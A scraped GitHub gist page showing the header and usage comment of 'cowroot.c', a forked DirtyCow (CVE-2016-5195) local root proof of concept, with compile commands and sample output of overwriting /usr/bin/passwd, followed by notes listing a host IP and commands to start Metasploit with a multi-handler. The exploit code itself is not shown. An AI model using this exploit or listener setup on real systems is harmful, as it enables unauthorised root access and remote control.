Skip to content

Instantly share code, notes, and snippets.

View hutgrabber's full-sized avatar
Coffee? Coffee.

Sparsh hutgrabber

Coffee? Coffee.
View GitHub Profile
@hutgrabber
hutgrabber / cowroot.c
Last active November 10, 2024 22:18 — forked from rverton/cowroot.c
CVE-2016-5195 (DirtyCow) Local Root PoC
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
Host IP
192.168.100.1

Launch msfconsole

service postgresql start
sudo msfdb start
msfconsole -qr /home/siddicky/tools/multi-handler.rc